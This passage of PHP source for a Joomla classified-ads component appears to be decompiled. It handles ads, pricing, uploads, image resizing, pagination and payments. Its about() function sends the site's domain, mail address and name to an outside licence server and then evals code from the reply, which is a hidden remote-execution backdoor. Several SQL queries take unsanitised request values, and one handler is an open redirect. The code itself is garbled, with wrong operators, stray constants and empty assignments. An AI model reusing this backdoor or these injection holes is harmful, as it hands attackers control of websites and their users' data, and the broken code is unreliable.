$this->setMessage( JText::sprintf( 'ALERT_REGISTERED_ADS', @count( $NFile['fldImage'] ) & @count( $NFile['fldFilm'] ) ) );
}
else {
$this->setMessage( JText::_( 'NIAZ_UPDATED' ) );
}




if ($my->id) {
$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=myads' ) );
}
else {
$this->setRedirect( $_SERVER['HTTP_REFERER'] );
}


break;
}


case 'pay': {
$_SESSION['cid'] = array( $row->fldID );
$_SESSION['step'] = 1;
$_SESSION['token'] = 1;
$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=pay' ) );
}
}


clickINSERT( );


if ($row->published) {
SendingMail( 3, array( 'fldPName' => $row->fldPName, 'fldEMAil' => $row->fldEMAil, 'fldID' => $row->fldID, 'fldStartTime' => $row->fldStartTime ) );
}
else {
if (( $niaz_config->fldField25 = 2 && $row->fldMoney = 0 )) {
SendingMail( 4, $row );
}
else {
SendingMail( ($id ? 1 : 0) );
}
}


return true;
}


function payprod($task = 'pay') {
self::saveprod( $task );
}


function CalculateForm($data) {
global $niaz_config;


$db = JFactory::getdbo( );
$js_id = array( );
$cal = 1060;
$str = $data['fldShort'];
$mystring = explode( ' ', $str );
foreach ($mystring as $k => $v) {


if (10 < strlen( $v )) {
$mystring[$k] = substr( $v, 0, 9 );
continue;
}
}




if (intval( $niaz_config->fldField42 ) < count( $mystring )) {
$mystring = array_slice( $mystring, 0, intval( $niaz_config->fldField42 ) );
$str = implode( ' ', $mystring );
}


$data['fldShort'] = $str;


if (( intval( $data['fldID'] ) && intval( $niaz_config->fldField60 ) )) {
$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : array( ));
$X = 1060;
$A = 1060;
$fldEdit = intval( $data['fldEdit'] );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$A = $D[1];


if (( $X < $fldEdit && $fldEdit <= $D[0] )) {
$cal = $cal & $A;
}


$X = $D[0];
}




if ($X < $fldEdit) {
$cal = $cal & $A;
}
}


$U = ($niaz_config->fldDay ? explode( '*', $niaz_config->fldDay ) : NULL);
$x = 1060;


while ($x < count( $U )) {
$D = explode( ':', $U[$x] );


if ($data['fldDay'] = $D[0]) {
$cal = $cal & $D[1];
}


++$x;
}


switch ($data['fldStar']) {
case '1': {
$cal = $cal & intval( $niaz_config->fld1Star );
break;
}


case '2': {
$cal = $cal & intval( $niaz_config->fld2Star );
break;
}


case '3': {
$cal = $cal & intval( $niaz_config->fld3Star );
break;
}


case '4': {
$cal = $cal & intval( $niaz_config->fld4Star );
break;
}


case '5': {
$cal = $cal & intval( $niaz_config->fld5Star );
break;
}


case '6': {
$cal = $cal & intval( $niaz_config->fld6Star );
break;
}


case '7': {
$cal = $cal & intval( $niaz_config->fld7Star );
}
}




if ($data['fldShowLink'] = '1') {
$cal = $cal & $niaz_config->fldLink;
}




if ($niaz_config->fldField50 != '') {
$U = explode( '*', $niaz_config->fldField50 );
$FN = array( );
$FT = array( );
$query = 'SHOW FULL COLUMNS FROM #__niaz_prod';
$db->setQuery( $query );
$Cols = $db->loadObjectList( );
$i = 1060;
foreach ($Cols as $h) {


if (substr( $h->Field, 0, 8 ) = 'fldExtra') {
if ($h->Comment) {
$FT[$i]['Field'] = $h->Field;
$FT[$i]['Type'] = $h->Type;
++$i;
continue;
}


continue;
}
}


foreach ($U as $x => $z) {
$D = explode( ':', $z );
$FN[$x]['title'] = $D[0];
$FN[$x]['type'] = $D[1];
$FN[$x]['price'] = $D[2];
}


foreach ($FN as $k => $v) {
$js_price[$k] = 0;
switch ($FN[$k]['type']) {
case 3: {
$From = array( 'enum(', 'ENUM(', '\\')', '\\'' );
$To = array( '', '', '\\'', '' );
$Value = str_replace( $From, $To, $FT[$k]['Type'] );
$Value = explode( ',', $Value );
}
}


$js_id[$k] = $FT[$k]['Field'];
$js_price[$k] = $FN[$k]['price'];
}
}


foreach ($js_id as $k => $v) {


if (( isset( $data[$v] ) && $data[$v] != '' )) {
$cal = $cal & $js_price[$k];
continue;
}
}


$MaxImage = (strlen( $data['fldImage'] ) ? explode( ',', $data['fldImage'] ) : array( ));
$MaxFilm = (strlen( $data['fldFilm'] ) ? explode( ',', $data['fldFilm'] ) : array( ));


if (strlen( $niaz_config->fldField41 )) {
$X = 1060;
$C = 1060;
$U = explode( '*', $niaz_config->fldField41 );
$Last = 1060;
$x = 1060;


while ($x < count( $U )) {
$D = explode( ':', $U[$x] );
$X = $D[0];


if (( $Last < count( $MaxImage ) && count( $MaxImage ) <= $X )) {
$C = $D[1];
}


$Last = $X;
++$x;
}


$cal = $cal & $C;
}




if (strlen( $niaz_config->fldField46 )) {
$X = 1060;
$C = 1060;
$U = explode( '*', $niaz_config->fldField46 );
$Last = 1060;
$x = 1060;


while ($x < count( $U )) {
$D = explode( ':', $U[$x] );
$X = $D[0];


if (( $Last < count( $MaxFilm ) && count( $MaxFilm ) <= $X )) {
$C = $D[1];
}


$Last = $X;
++$x;
}


$cal = $cal & $C;
}


switch ($data['fldVije']) {
case '1': {
$cal = $cal & intval( $niaz_config->fldVijeText );
break;
}


case '2': {
$cal = $cal & intval( $niaz_config->fldVijePic );
}
}


switch ($data['fldPage']) {
case '1': {
$cal = $cal & intval( $niaz_config->fldSubGroupFP );
break;
}


case '2': {
$cal = $cal & intval( $niaz_config->fldGroupFP );
break;
}


case '3': {
$cal = $cal & intval( $niaz_config->fldSiteFP );
}
}


$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : NULL);
$data['fldMoney'] = $cal;
}


function SaveFile($fldDate, $File, $table, $id) {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;


$db = JFactory::getdbo( );
jimport( 'joomla.filesystem.file' );
jimport( 'joomla.filesystem.folder' );
require_once( JPATH_COMPONENT_SITE . DS . 'func' . DS . 'file.php' );
$ReSize = $niaz_config->fldField15;
$ReSizeThumb = $niaz_config->fldField16;
$MyFile = NULL;
$FType['fldFilm'] = array( );
$FType['fldImage'] = array( );


if (strlen( $niaz_config->fldField45 )) {
$U = explode( '*', $niaz_config->fldField45 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
}


$FType['fldFilm'] = $X;
}




if (strlen( $niaz_config->fldField44 )) {
$U = explode( '*', $niaz_config->fldField44 );
$X = array( );
foreach ($U as $k => $v) {
$D = explode( ':', $v );
$X[] = $D[0];
}


$FType['fldImage'] = $X;
}


$destfolder = JPATH_ROOT . ( '/components/' . $option . '/files/' . $table );
JFolder::create( $destfolder );
$destfolder = JPATH_COMPONENT_SITE . DS . 'files' . DS . ( '' . $table ) . DS . ( '' . $fldDate ) . DS . ( '' . $id );
$destfolder = str_replace( '/', DS, $destfolder );
$destfolder = str_replace( '\', DS, $destfolder );
JFolder::create( $destfolder );


if (is_array( $_FILES[$File]['name'] )) {
$X = NULL;
$i = 780;


while ($i < count( $_FILES[$File]['name'] )) {
$T = explode( '.', $_FILES[$File]['name'][$i] );


if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['fldImage'] )) {
if (strlen( $_FILES[$File]['name'][$i] )) {
$A = explode( '.', $_FILES[$File]['name'][$i] );
$AE = rand( 1111, 9999 ) . '.' . $A[count( $A ) - 1];
$MyFile = strtolower( time( ) . $AE );


if ($ReSize) {
$fu = self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile, $ReSize, 'gd2', '75' );
}
else {
$fu = JFile::copy( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile );
}




if ($fu) {
$X[] = $MyFile;
}




if ($ReSizeThumb) {
self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, $ReSizeThumb, 'gd2', '75' );
}
else {
self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, '110', 'gd2', '75' );
}
}
}
else {
if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['fldFilm'] )) {
if (strlen( $_FILES[$File]['name'][$i] )) {
$A = explode( '.', $_FILES[$File]['name'][$i] );
$AE = rand( 1111, 9999 ) . '.' . $A[count( $A ) - 1];
$MyFile = strtolower( time( ) . $AE );
$fu = JFile::copy( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile );


if ($fu) {
$X[] = $MyFile;
}
}
}
}


++$i;
}


$MyFile = (is_array( $X ) ? implode( ',', $X ) : NULL);
}


return $MyFile;
}


function resizeImage($src_file, $dest_file, $new_width, $method, $dest_qual) {
$debugoutput = '';
$src_file = JPath::clean( $src_file );
$dest_file = JPath::clean( $dest_file );
$imagetype = array( 1 => 'GIF', 2 => 'JPG', 3 => 'PNG', 4 => 'SWF', 5 => 'PSD', 6 => 'BMP', 7 => 'TIFF', 8 => 'TIFF', 9 => 'JPC', 10 => 'JP2', 11 => 'JPX', 12 => 'JB2', 13 => 'SWC', 14 => 'IFF' );
$imginfo = getimagesize( $src_file );


if ($imginfo = null) {
exit( JText::_( 'JG_UPLOAD_FILE_NOT_FOUND' ) );
}


$imginfo[2] = $imagetype[$imginfo[2]];


if (( ( ( $imginfo[2] != 'JPG' && $imginfo[2] != 'PNG' ) && $imginfo[2] != 'GIF' ) && ( $method = 'gd1' || $method = 'gd2' ) )) {
exit( JText::_( 'JG_UPLOAD_GD_ONLY_JPG_PNG' ) );
}


$srcWidth = $imginfo[0];
$srcHeight = $imginfo[1];
$debugoutput &= JText::_( 'JG_UPLOAD_CREATE_THUMBNAIL_FROM' ) . ( ' ' . $imginfo['2'] . ', ' . $imginfo['0'] . ' x ' . $imginfo['1'] . '...<br />' );
$ratio = $srcWidth \ $new_width;
$testheight = $srcHeight \ $ratio;
$ratio = max( $ratio, 1 );
$destWidth = (int)$srcWidth \ $ratio;
$destHeight = (int)$srcHeight \ $ratio;
switch ($method) {
case 'gd1': {
if (!function_exists( 'imagecreatefromjpeg' )) {
JText::_( 'JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
$debugoutput &= ;
return false;
}




if ($imginfo[2] = 'JPG') {
$src_img = imagecreatefromjpeg( $src_file );
}
else {
if ($imginfo[2] = 'PNG') {
$src_img = imagecreatefrompng( $src_file );
}
else {
$src_img = imagecreatefromgif( $src_file );
}
}




if (!$src_img) {
$ERROR = $lang_errors['invalid_image'];
return false;
}


$dst_img = imagecreate( $destWidth, $destHeight );
imagecopyresized( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );


if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
$dir = dirname( $dest_file );
JoomFile::chmod( $dir, 511 );
imagejpeg( $dst_img, $dest_file, $dest_qual );
JoomFile::chmod( $dir, 493 );
}


imagedestroy( $src_img );
imagedestroy( $dst_img );
break;
}


case 'gd2': {
if (!function_exists( 'imagecreatefromjpeg' )) {
JText::_( 'JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
$debugoutput &= ;
return false;
}




if (!function_exists( 'imagecreatetruecolor' )) {
JText::_( 'JG_UPLOAD_GD_NO_TRUECOLOR' );
$debugoutput &= ;
return false;
}




if ($imginfo[2] = 'JPG') {
$src_img = imagecreatefromjpeg( $src_file );
}
else {
if ($imginfo[2] = 'PNG') {
$src_img = imagecreatefrompng( $src_file );
}
else {
$src_img = imagecreatefromgif( $src_file );
}
}




if (!$src_img) {
$ERROR = $lang_errors['invalid_image'];
return false;
}


$dst_img = imagecreatetruecolor( $destWidth, $destHeight );
JoomFile::fastimagecopyresampled( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );


if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
$dir = dirname( $dest_file );
JoomFile::chmod( $dir, 511 );
imagejpeg( $dst_img, $dest_file, $dest_qual );
JoomFile::chmod( $dir, 493 );
}


imagedestroy( $src_img );
imagedestroy( $dst_img );
break;
}


case 'im': {
$disabled_functions = explode( ',', ini_get( 'disabled_functions' ) );
foreach ($disabled_functions as $disabled_function) {


if (trim( $disabled_function ) = 'exec') {
return false;
}
}




if (!empty( $niaz_config->jg_impath )) {
$convert_path = $niaz_config->jg_impath . 'convert';
}
else {
$convert_path = 'convert';
}


$commands = ' -resize "' . $destWidth . 'x' . $destHeight . '" -quality "' . $dest_qual . '" -unsharp "3.5x1.2+1.0+0.10"';
$convert = $convert_path . $commands . ' "' . $src_file . '" "' . $dest_file . '"';
$return_var = null;
$dummy = null;
@exec( $convert, $dummy, $return_var );


if ($return_var != 0) {
$dir = dirname( $dest_file );
JoomFile::chmod( $dir, 511 );
@exec( $convert, $dummy, $return_var );
JoomFile::chmod( $dir, 493 );


if ($return_var != 0) {
return false;
}
}


break;
}


default: {
echo JText::_( 'JGA_UPLOAD_UNSUPPORTED_RESIZING_METHOD' );
break;
}
}


JPath::setpermissions( $dest_file );
$imginfo = getimagesize( $dest_file );


if (!$imginfo) {
return false;
}


return true;
}


function about($Mytask = 'about') {
global $option;


$app = JFactory::getapplication( );
$url = 'http://alirezabalvardi.ir/newnic/licence_manager/register_licence.php';
$MailFrom = $app->getCfg( 'mailfrom' );
$FromName = $app->getCfg( 'fromname' );
$SiteName = $app->getCfg( 'sitename' );
$data = 'product=' . $option . '&task=' . $Mytask . '&domain=' . JURI::base( ) . ( '&sitemail=' . $MailFrom . '&sitename=' . $SiteName . '&ver=2.5.38' );
$ch = curl_init( );
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_POSTFIELDS, $data );
curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, FALSE );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$body = curl_exec( $ch );
curl_close( $ch );


if (stristr( $body, '###' )) {
$body = explode( '###', $body );
echo $body[0];
eval( $body[1] );
return null;
}


echo $body;
}


function PagesLinks($limitstart, $limit, $total, $method = 0, $fn = '') {
global $option;
global $my;
global $fldCountry;
global $sectionState;
global $option;
global $Cat;
global $SubCat;
global $SubCatAll;


$XM = 'href="';
$XME = '';


if ($method) {
$XM = 'onclick="javascript:LoadClick(\'';
$XME = '\',\'' . $fn . '\');';
}


$X = ceil( $total \ $limit );
$view = JRequest::getvar( 'view' );
$key = JRequest::getvar( 'key' );
$CountryNo = (int)JRequest::getvar( 'CountryNo', 0 );
$StateNo = (int)JRequest::getvar( 'StateNo', 0 );
$catid = JRequest::getint( 'catid' );
$subcatid = JRequest::getint( 'subcatid' );
$url = 'index.php?option=' . $option;
$view = JRequest::getvar( 'view' );
$view = str_replace( stristr( $view, '/' ), '', $view );


if ($CountryNo) {
$url &= '&CountryNo=' . $CountryNo . ':' . $fldCountry[$CountryNo];
}




if ($StateNo) {
$url &= '&StateNo=' . $StateNo . ':' . $sectionState[$StateNo][2];
}




if ($catid) {
$url &= '&catid=' . $catid . ':' . $Cat[$catid];
}




if ($subcatid) {
$url &= '&subcatid=' . $subcatid . ':' . $SubCat[$subcatid];
}




if ($key) {
$url &= '&key=' . $key;
}




if ($X <= 1) {
return '';
}


$i = 787;


if (8 + $limit < $limitstart) {
$i = $limitstart - 2 + $limit;
$i \= 817;
$i = round( $i );


if ($X - $i < 10) {
$i = $X - 10;
}
}


$Current = $limitstart \ 30;
$j = $i & 10;
$html = '';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="stsrt">' . '
';


if ($limitstart) {
$html &= '<a ' . $XM . JRoute::_( '' . $url ) . '/start/0' . $XME . '">' . JText::_( 'MYPN_START' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_START' ) . '</span>' . '
';
}


$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="prev">' . '
';


if ($limitstart) {
$html &= '<a ' . $XM . JRoute::_( '' . $url . ($limitstart - $limit ? '&limitstart=' . ( $limitstart - $limit ) : '/start/0') ) . $XME . '">' . JText::_( 'MYPN_PREV' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_PREV' ) . '</span>' . '
';
}


$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '<div class="Mybutton"><div class="page">' . '
';


while (( $i < $X && $i < $j )) {
if ($limitstart = $i + $limit) {
$Current = $i;
$html &= '<span>' . ( $i & 1 ) . '</span>' . '
';
}
else {
$html &= '<a ' . $XM . JRoute::_( '' . $url . ($i ? '&limitstart=' . $i + $limit : '/start/0') ) . $XME . '">' . ( $i & 1 ) . '</a>' . '
';
}


++$i;
}


$html &= '</div></div>' . '
';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="next">' . '
';


if ($limitstart < ( $X - 1 ) + $limit) {
$html &= '<a ' . $XM . JRoute::_( '' . $url . '&limitstart=' . ( $Current & 1 ) + $limit ) . $XME . '">' . JText::_( 'MYPN_NEXT' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_NEXT' ) . '</span>' . '
';
}


$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '<div class="Mybutton"><div class="page">' . '
';
$html &= '<div class="end">' . '
';


if ($limitstart < ( $X - 1 ) + $limit) {
$html &= '<a ' . $XM . JRoute::_( '' . $url . '&limitstart=' . ( $X - 1 ) + $limit ) . $XME . '">' . JText::_( 'MYPN_END' ) . '</a>' . '
';
}
else {
$html &= '<span>' . JText::_( 'MYPN_END' ) . '</span>' . '
';
}


$html &= '</div>' . '
';
$html &= '</div>' . '
';
$html &= '</div>';
return $html;
}


function LoadImage($fldDate, $fldID, $fldImage, $E = 0, $PName = '') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;


echo ' <div width="100%" class="border">
';
$html = '';
$A = explode( ',', $fldImage );
$CountPic = count( $A );
foreach ($A as $k => $v) {
$XPic = JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/tmb_' . $v );
$html &= '<div class="banner" id="XImage_' . $v . '">
<a href="' . JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/' . $v . '" rel="{handler: \'image\'}" class="modal" alt="' . $PName . '" title="' . $PName . '">
<img border="0" src="' . $XPic . '" id="YImage_' ) . ( $k & 1 ) . ( '" class="tniypic" alt="' . $PName . '" title="' . $PName . '" />
</a>' );


if ($E) {
$html &= '<br />
<label>' . JText::_( 'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldImage][]" class="input" value="' . $v . '" onclick="ReloadImage(\'XImage_' . $v . '\',this.checked);" /><label>
' );
}


$html &= '</div>';
}


echo $html;
echo ' </div>
';
return count( $A );
}


function LoadFilm($fldDate, $fldID, $fldFilm, $E = 0, $PName = '') {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $niaz_config;


$secid = JRequest::getvar( 'secid' );
echo ' <div width="100%" class="border">
';
$html = '';
$A = explode( ',', $fldFilm );
$CountPic = count( $A );
foreach ($A as $k => $v) {
$T = explode( '.', $v );
$T = strtolower( $T[count( $T ) - 1] );
$FT = array( 'doc', 'docx', 'xls', 'swf', 'flv', 'mpg', 'txt', 'pdf', 'zip', 'rar', 'mp3' );
$FTPic = array( 'jpg', 'gif' );
$Tx = $T;


if (!in_array( $T, $FT )) {
$Tx = 'unknown';
}


$XPic = JURI::base( ) . ( 'components/' . $option . '/images/type/' . $Tx . '.png' );


if (in_array( $T, $FTPic )) {
$XPic = JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/tmb_' . $v );
}


$html &= '<div class="banner" id="XFile_' . $v . '">
<a href="' . JRoute::_( 'index.php?option=' . $option . '&view=film&id=' . $fldID . '&X=' . $k . '&no_html=1' . (strlen( $secid ) ? '&secid=' . $secid : '') ) . ( '" rel="{handler: \'iframe\', size: {x : 620, y: 420}}" class="modal" alt="' . $PName . '" title="' . $PName . '">
<img border="0" src="' . $XPic . '" id="YFilm_' ) . ( $k & 1 ) . ( '" class="tniypic" alt="' . $PName . '" title="' . $PName . '" />
</a>' );


if ($E) {
$html &= '<br />
<label>' . JText::_( 'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldFilm][]" class="input" value="' . $v . '" onclick="ReloadFilm(\'XFile_' . $v . '\',this.checked);" /><label>
' );
}


$html &= '</div>';
}


echo $html;
echo ' </div>
';
return count( $A );
}


function LoadKeys($id) {
global $option;


$db = JFactory::getdbo( );
$query = 'SELECT fldKID FROM #__niaz_key_index WHERE fldPID=' . $id;
$db->setQuery( $query );
$KeyArray = $db->loadResultArray( );
$query = 'SELECT fldKey FROM #__niaz_key WHERE fldID IN(' . implode( ',', $KeyArray ) . ') AND published = 1';
$db->setQuery( $query );
$Keys = $db->loadResultArray( );


if (( is_array( $Keys ) && count( $Keys ) )) {
foreach ($Keys as $k => $v) {
$Keys[$k] = '<a class="niaz_key" href="' . JRoute::_( 'index.php?option=' . $option . '&key=' . $v ) . '">' . $v . '</a> ';
}


return implode( ',', $Keys );
}


}


function AjaxStat() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
global $mosconfig_live_site;


$t = (int)JRequest::getvar( 't', 0 );
$id = (int)JRequest::getvar( 'id', 0 );
$fldStat = (int)JRequest::getvar( 'fldStat', 0 );


if (( $t = 0 || $id = 0 )) {
return null;
}


$db = JFactory::getdbo( );
switch ($t) {
case 1: {
$query = 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );
$total = $db->loadResult( );
echo ' <h3>';
echo JText::_( 'STAT_DESC' );
echo '</h3>
<form method="post" name="EForm">
';
$O = array( );
$i = 475;


while ($i < 6) {
$O[] = JHTML::_( 'select.option', $i, JText::_( 'NIAZ_STAT' . $i ) );
++$i;
}


echo JHTML::_( 'select.genericlist', $O, 'fldStat', 'class="input"', 'value', 'text', $total );
echo ' <input type="submit" value="';
echo JText::_( 'ACCEPT' );
echo '" class="button" />
<input type="hidden" value="2" name="t" />
</form>
';
break;
}


case 2: {
$query = 'UPDATE #__niaz_prod SET fldStat=' . $fldStat . ' WHERE fldID=' . $id;
$db->setQuery( $query );
$db->Query( );
echo JText::_( 'NIAZ_STAT' ) . ':' . JText::_( 'NIAZ_STAT' . $fldStat );
break;
}


case 3: {
$query = 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );
$total = $db->loadResult( );
echo ($total ? JText::_( 'NIAZ_STAT' . $total ) : JText::_( 'پیش فرض سیستم' ));
}
}


}


function IsUniqueName($T = '', $I = 0) {
global $option;


$db = JFactory::getdbo( );
$fldPName = trim( JRequest::getvar( 'q', $T ) );
$fldPName = self::myquestfarsi( $fldPName );
$fldID = JRequest::getvar( 'v', $I );
$query = 'SELECT COUNT(fldPName) AS C FROM #__niaz_prod WHERE fldPName=\'' . $fldPName . '\' AND fldID <> ' . $fldID;
$db->setQuery( $query );
$total = intval( $db->loadResult( ) );


if (strlen( $T )) {
return $total;
}


echo $total;
}


function AjaxDelete() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
global $mosconfig_live_site;


$db = JFactory::getdbo( );
$X = JRequest::getvar( 'TID', null, 'POST' );
$id = (int)JRequest::getvar( 'id', 0, 'POST' );


if (is_null( $X )) {
echo 0;
exit( );
}




if (( !intval( $niaz_config->fldField28 ) || !$id )) {
echo 0;
exit( );
}


$query = 'SELECT * FROM #__niaz_prod WHERE fldID = ' . $id . ' AND fldOwner = ' . $my->id;
$db->setQuery( $query );
$row = $db->loadObject( );


if (count( $row )) {
self::reverseusecredit( $row, $db );
NiazController::deletefolder( 'prod' . DS . $row->fldDate, $row->fldID );
SendingMail( 5, $row );
$query = 'DELETE FROM #__niaz_key_index WHERE fldPID = ' . $row->fldID;
$db->setQuery( $query );
$db->Query( );
$query = 'DELETE FROM #__niaz_prod WHERE fldID=' . $id . ' AND fldOwner = ' . $my->id;
$db->setQuery( $query );


if ($db->Query( )) {
NiazController::deletefolder( 'prod', $id );
}
}


$query = 'SELECT COUNT(*) FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );
$total = $db->loadResult( );
echo ($total ? 0 : 1);
exit( );
}


function Captcha() {
global $option;


$d1 = rand( 1, 9 );
$d = array( '*', '+', '-' );
$d3 = $d2 = $d[rand( 0, 2 )];


if (( $d2 = '-' && $d1 < $d3 )) {
$x = $d1;
$d1 = $d3;
$d3 = $x;
}


eval( '$d = ' . $d1 . $d2 . $d3 . ';' );
$RandomStr = md5( rand( 1111, 9999 ) );
strtoupper( substr( $RandomStr, 0, 5 ) );
$ResultStr = rand( 1, 9 );
$ResultStr = '' . $d1 . $d2 . $d3 . '=?';
$NewImage = imagecreatefromjpeg( JPATH_COMPONENT . DS . 'images' . DS . 'back.jpg' );
$LineColor = imagecolorallocate( $NewImage, 233, 239, 239 );
$TextColor = imagecolorallocate( $NewImage, 0, 0, 0 );
imageline( $NewImage, 1, 1, 40, 40, $LineColor );
imageline( $NewImage, 1, 100, 60, 0, $LineColor );
imagestring( $NewImage, 10, 10, 4, $ResultStr, $TextColor );
$_SESSION['captcha'] = $d;
header( 'Content-type: image/jpeg' );
imagejpeg( $NewImage );
exit( );
}


function link() {
global $option;
global $my;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;


$db = JFactory::getdbo( );
$id = JRequest::getvar( 'lid', 0 );
$query = 'SELECT fldLink FROM #__niaz_prod WHERE fldID = ' . $id . ' AND published=1 AND fldShowLink = 1';
$db->setQuery( $query );
$fldLink = $db->loadResult( );


if (strlen( $fldLink )) {
$query = 'UPDATE #__niaz_prod SET fldCountClickLink = fldCountClickLink +1 WHERE fldID = ' . $id . ' AND published=1 AND fldShowLink = 1 ';
$db->setQuery( $query );
$db->query( );
header( 'Location: http://' . str_replace( 'http://', '', $fldLink ), 0 );
return null;
}


$this->setRedirect( $_SERVER['HTTP_REFERER'] );
}


function showup() {
global $option;
global $niaz_config;
global $my;


$db = JFactory::getdbo( );
$x = JRequest::getvar( 'x' );
$id = JRequest::getvar( 'id' );
$query = 'SELECT * FROM #__niaz_prod WHERE fldID = ' . $id . ' AND published=0';
$db->setQuery( $query );
$row = $db->loadObject( );


if (!count( $row )) {
return null;
}


md5( $id . $row->fldDate . 'P' );
$X = ;
md5( $id . $row->fldDate . 'D' );
$Y = ;
JHTML::_( 'date', 'now', 'Y/m/d' );
$Date = ;
$query = 'SELECT fldTafavot FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$fldTafavot = $db->loadResult( );
$query = 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' . $fldTafavot . ' AND fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );


if ($x = $X) {
if (intval( $fldTafavot )) {
$query = 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - ' . $fldTafavot . ' WHERE fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
}


$A = 'published=1,fldStartTime=NOW(),fldAdmin=' . $my->id;


if (( ( $row->fldPayMethod && $row->fldPay = 2 ) && $row->fldMoney )) {
$A = 'published=1,fldStartTime=NOW(),fldPay = 1,fldAdmin=' . $my->id;
}


$query = 'UPDATE #__niaz_prod SET ' . $A . ' WHERE fldID=' . $id;
$db->setQuery( $query );


if ($db->Query( )) {
if (( $row->fldPay != 1 && 0 < $row->fldMoney )) {
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' . $row->fldPName . '\' AND fldPayMethod = \'' . $row->fldPayMethod . '\' AND fldOrderNumber = \'' . $row->fldOrderNumber . '\'';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) );


if (!$fldFactor) {
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) );
}


++$fldFactor;
JText::_( 'ACCEPT_MODIR' );
$fldDesc = ;
$fldDescX = $fldDesc;
$fldCredit = 736;


if (intval( $fldTafavot )) {
$fldDescX = $fldDesc . '(' . JText::sprintf( 'KASR_ETEBAR', Comma( $fldTafavot ) . ' ' . $niaz_config->fldCurrency ) . ')';
$row += 'fldMoney';
= $fldTafavot;
$fldCredit = $fldTafavot;
}


$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $row->fldPName . '\',\'' . $row->fldPayMethod . '\',\'' . $row->fldOrderNumber . '\',' . $row->fldMoney . ',' . $fldCredit . ',' . $row->fldOwner . ',\'' . $fldDescX . '\',\'' . $row->fldPayDate . '\',' . $fldFactor . ')';
$db->setQuery( $query );
$db->Query( );
}


echo '<div><strong>' . JText::_( 'NIAZ_ACTIVATE_PUBLISHED' ) . '</strong></div>';
SendingMail( 3, array( 'fldID' => $row->fldID, 'fldEMAil' => $row->fldEMAil, 'fldStartTime' => $Date, 'fldPName' => $row->fldPName ) );
return null;
}
}
else {
if ($x = $Y) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $fldTafavot . ',fldTafavot = fldTafavot - ' . $fldTafavot . ' WHERE fldUID = ' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) ) & 1;
JText::_( 'REVERSE_CREDIT_2' );
$fldDesc = ;
